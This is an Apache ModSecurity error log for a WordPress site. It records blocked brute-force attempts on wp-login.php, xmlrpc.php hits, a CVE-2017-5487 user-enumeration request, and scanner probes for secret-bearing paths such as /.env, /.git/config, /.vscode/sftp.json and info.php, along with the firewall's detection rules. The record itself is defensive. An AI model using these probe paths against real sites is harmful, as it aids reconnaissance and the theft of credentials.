[Thu Nov 20 23:40:23.795025 2025] [:error] [pid 55343:tid 55406] [client 68.65.121.177:45560] [client 68.65.121.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.121.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR82Z1WlO3EnyVMV7w7lNQAAAIc"]
[Thu Nov 20 23:40:25.590452 2025] [:error] [pid 55343:tid 55403] [client 68.65.121.177:45560] [client 68.65.121.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.121.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR82aVWlO3EnyVMV7w7lNgAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 20 23:46:50.265274 2025] [:error] [pid 40537:tid 40557] [client 66.249.64.9:38332] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/games/%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%20%E0%B9%84%E0%B8%94%E0%B9%89%E0%B9%80%E0%B8%87%E0%B8%B4%E0%B8%99%E0%B8%88%E0%B8%A3%E0%B8%B4%E0%B8%87%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD%202023.html"] [unique_id "aR836qKlsL5kxTa3c1wTwAAAAtA"]
[Thu Nov 20 23:46:59.398710 2025] [:error] [pid 34405:tid 34414] [client 66.249.64.9:42740] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sitemap/Slot%20mahjong%20ways%202%20pg.html"] [unique_id "aR838zFpvu8oRK7ATftYXAAAAQc"]
[Thu Nov 20 23:51:00.402083 2025] [:error] [pid 40445:tid 40486] [client 66.249.64.9:39600] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.html"] [unique_id "aR845FH-MuFcoWRjXpbDFQAAAks"]
[Thu Nov 20 23:51:12.306600 2025] [:error] [pid 40445:tid 40482] [client 66.249.64.9:35416] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/games/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B8%9F%E0%B8%A3%E0%B8%B5.html"] [unique_id "aR848FH-MuFcoWRjXpbDHgAAAkc"]
[Thu Nov 20 23:51:22.659950 2025] [:error] [pid 55342:tid 55387] [client 66.249.64.9:63859] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sitemap/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.html"] [unique_id "aR84-rg6x32Tvk7fIG8cBAAAAE8"]
[Thu Nov 20 23:53:50.589975 2025] [:error] [pid 40508:tid 40528] [client 66.249.64.9:50692] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news/Login%20%E0%B8%9C%E0%B8%A5%E0%B8%9A%E0%B8%AD%E0%B8%A5%20888%20%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%E0%B9%84%E0%B8%97%E0%B8%A2.html"] [unique_id "aR85jqxXNVCMW_ksxPsELAAAApI"]
[Thu Nov 20 23:53:59.378591 2025] [:error] [pid 40636:tid 40662] [client 66.249.64.9:41993] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/app/%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%AA%E0%B8%94%20%E0%B9%81%E0%B8%A1%E0%B8%99%E0%B8%A2%E0%B8%B9%20%E0%B8%84%E0%B8%B7%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.html"] [unique_id "aR85lwK8BWUoW3xq0HBAYQAAA5Y"]
[Fri Nov 21 00:16:16.381458 2025] [:error] [pid 40445:tid 40491] [client 69.163.137.216:41850] [client 69.163.137.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.137.216, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR8-0FH-MuFcoWRjXpbOgwAAAlA"]
[Fri Nov 21 00:16:20.051779 2025] [:error] [pid 40445:tid 40499] [client 69.163.137.216:41850] [client 69.163.137.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.137.216, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR8-1FH-MuFcoWRjXpbOiQAAAlg"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 21 00:42:16.736177 2025] [:error] [pid 13805:tid 13815] [client 187.115.88.131:51320] [client 187.115.88.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 187.115.88.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR9E6FurU5-GZdwKvr6hSgAAAUc"]
[Fri Nov 21 00:42:48.183563 2025] [:error] [pid 13522:tid 13720] [client 187.115.88.131:35140] [client 187.115.88.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 187.115.88.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR9FCKOM9BReD2C3mbLJYQAAAFQ"]
[Fri Nov 21 00:43:16.250864 2025] [:error] [pid 13506:tid 13679] [client 187.115.88.131:39550] [client 187.115.88.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 187.115.88.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR9FJKTbGYpGB-467xY50QAAAAk"]
[Fri Nov 21 00:43:21.299949 2025] [:error] [pid 13506:tid 13686] [client 187.115.88.131:39550] [client 187.115.88.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 187.115.88.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR9FKaTbGYpGB-467xY51gAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 21 01:21:04.775498 2025] [:error] [pid 13805:tid 13823] [client 67.223.118.194:54030] [client 67.223.118.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR9OAFurU5-GZdwKvr7AWwAAAU8"]
[Fri Nov 21 01:21:06.822516 2025] [:error] [pid 13805:tid 13810] [client 67.223.118.194:54030] [client 67.223.118.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR9OAlurU5-GZdwKvr7AYAAAAUI"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 21 01:39:19.009709 2025] [:error] [pid 13536:tid 13739] [client 69.163.137.216:48406] [client 69.163.137.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.137.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR9SR6wnCU8z6PX3-Zm7VwAAAIw"]
[Fri Nov 21 04:07:41.027163 2025] [:error] [pid 13412:tid 13424] [client 182.44.2.148:51778] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aR91DX3-knz3ZB6HogGVvAAAAMc"]
[Fri Nov 21 06:07:12.103160 2025] [:error] [pid 13412:tid 13422] [client 203.162.166.162:56374] [client 203.162.166.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.162.166.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR-REH3-knz3ZB6HogHHHgAAAMU"]
[Fri Nov 21 06:24:47.141866 2025] [:error] [pid 13326:tid 13358] [client 207.154.212.47:44988] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aR-VL9h942-HkDIkOWryrQAAAEA"]
[Fri Nov 21 06:24:48.288707 2025] [:error] [pid 13325:tid 13345] [client 207.154.212.47:45028] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aR-VMCBUXj9tD75On3CyygAAAA8"]
[Fri Nov 21 06:24:49.487222 2025] [:error] [pid 13325:tid 13336] [client 207.154.212.47:45070] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aR-VMSBUXj9tD75On3CyywAAAAY"]
[Fri Nov 21 06:24:50.442465 2025] [:error] [pid 13327:tid 13397] [client 207.154.212.47:45106] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aR-VMvBXf-8B6mFkLeOoagAAAIw"]
[Fri Nov 21 06:24:51.677203 2025] [:error] [pid 13327:tid 13405] [client 207.154.212.47:55890] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aR-VM_BXf-8B6mFkLeOobAAAAJQ"]
[Fri Nov 21 06:24:53.264259 2025] [:error] [pid 17882:tid 17901] [client 207.154.212.47:55904] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aR-VNYwFFssEn348h94FkwAAAVE"]
[Fri Nov 21 06:24:54.797607 2025] [:error] [pid 51434:tid 51448] [client 207.154.212.47:55908] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aR-VNvU96liplEDkw_T_QAAAAQw"]
[Fri Nov 21 06:24:56.004298 2025] [:error] [pid 13325:tid 13353] [client 207.154.212.47:55910] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aR-VOCBUXj9tD75On3Cy0AAAABc"]
[Fri Nov 21 06:24:57.235624 2025] [:error] [pid 13412:tid 13433] [client 207.154.212.47:55924] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aR-VOX3-knz3ZB6HogHLrgAAANA"]
[Fri Nov 21 06:24:58.427014 2025] [:error] [pid 13325:tid 13350] [client 207.154.212.47:55926] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aR-VOiBUXj9tD75On3Cy0wAAABQ"]
[Fri Nov 21 06:24:59.936352 2025] [:error] [pid 13327:tid 13404] [client 207.154.212.47:55932] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aR-VO_BXf-8B6mFkLeOocwAAAJM"]
[Fri Nov 21 06:25:00.959373 2025] [:error] [pid 51434:tid 51440] [client 207.154.212.47:37688] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aR-VPPU96liplEDkw_T_SQAAAQQ"]
[Fri Nov 21 06:25:02.417021 2025] [:error] [pid 13412:tid 13441] [client 207.154.212.47:37692] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aR-VPn3-knz3ZB6HogHLswAAANg"]
[Fri Nov 21 06:25:03.754657 2025] [:error] [pid 17882:tid 17884] [client 207.154.212.47:37694] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aR-VP4wFFssEn348h94FmgAAAUA"]
[Fri Nov 21 06:25:04.879947 2025] [:error] [pid 17882:tid 17905] [client 207.154.212.47:37702] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aR-VQIwFFssEn348h94FmwAAAVU"]
[Fri Nov 21 06:25:06.176199 2025] [:error] [pid 17882:tid 17885] [client 207.154.212.47:37706] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aR-VQowFFssEn348h94FnAAAAUE"]
[Fri Nov 21 06:25:07.262403 2025] [:error] [pid 13325:tid 13339] [client 207.154.212.47:37716] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aR-VQyBUXj9tD75On3Cy3gAAAAk"]
[Fri Nov 21 06:25:08.288933 2025] [:error] [pid 17882:tid 17906] [client 207.154.212.47:37732] [client 207.154.212.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aR-VRIwFFssEn348h94FngAAAVY"]
[Fri Nov 21 08:08:12.403422 2025] [:error] [pid 51434:tid 51437] [client 61.219.140.50:54140] [client 61.219.140.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.219.140.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR-tbPU96liplEDkw_QfWwAAAQE"]
[Fri Nov 21 10:15:03.967072 2025] [proxy_fcgi:error] [pid 13326:tid 13365] (70007)The timeout specified has expired: [client 51.81.107.180:40910] AH01075: Error dispatching request to : (polling)
[Fri Nov 21 11:49:45.256734 2025] [:error] [pid 17882:tid 17900] [client 51.81.14.24:44382] [client 51.81.14.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.81.14.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR_hWYwFFssEn348h955MAAAAVA"]
[Fri Nov 21 12:29:38.425984 2025] [:error] [pid 17882:tid 17902] [client 190.92.174.31:52626] [client 190.92.174.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.92.174.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR_qsowFFssEn348h96FkwAAAVI"]
[Fri Nov 21 12:47:26.571498 2025] [:error] [pid 46276:tid 46303] [client 69.57.162.82:48532] [client 69.57.162.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.162.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR_u3nbpxuSAfajqqKPZMQAAAhQ"]
[Fri Nov 21 13:35:05.845401 2025] [:error] [pid 13327:tid 13408] [client 185.204.197.97:44572] [client 185.204.197.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.204.197.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR_6CfBXf-8B6mFkLeP1MwAAAJc"]
[Fri Nov 21 13:35:07.876781 2025] [:error] [pid 13327:tid 13391] [client 185.204.197.97:44572] [client 185.204.197.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.204.197.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR_6C_BXf-8B6mFkLeP1OQAAAIY"], referer: https://gigfragments.org/wp-login.php
[Fri Nov 21 14:35:13.194235 2025] [:error] [pid 25521:tid 25525] [client 187.190.206.138:39622] [client 187.190.206.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.190.206.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAIIfhXnBMilDddn3WurAAAAMI"]
[Fri Nov 21 14:40:38.608284 2025] [:error] [pid 25430:tid 25483] [client 122.170.226.33:57954] [client 122.170.226.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.170.226.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAJZqpnWJcWt_4foXkU_AAAAFc"]
[Fri Nov 21 14:47:20.778452 2025] [:error] [pid 25431:tid 25504] [client 162.241.216.56:48910] [client 162.241.216.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.216.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAK-MklhXxmoIExII0CvwAAAJE"]
[Fri Nov 21 15:19:10.794115 2025] [:error] [pid 25429:tid 25451] [client 196.189.155.34:33686] [client 196.189.155.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.189.155.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSASbj4rZbRSr7vu-NOJ-wAAABI"]
[Fri Nov 21 15:33:39.773956 2025] [:error] [pid 25431:tid 25495] [client 162.0.232.89:51100] [client 162.0.232.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAV08klhXxmoIExII0YaAAAAIg"]
[Fri Nov 21 15:33:43.219337 2025] [:error] [pid 25431:tid 25500] [client 162.0.232.89:50010] [client 162.0.232.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSAV18klhXxmoIExII0YfQAAAI0"]
[Fri Nov 21 16:01:05.243283 2025] [:error] [pid 25431:tid 25507] [client 122.170.226.33:50722] [client 122.170.226.33] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSAcQcklhXxmoIExII00QAAAAJQ"]
[Fri Nov 21 16:02:47.788753 2025] [:error] [pid 25521:tid 25523] [client 122.170.226.33:55513] [client 122.170.226.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.170.226.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSAcp_hXnBMilDddn3Xp7wAAAMA"]
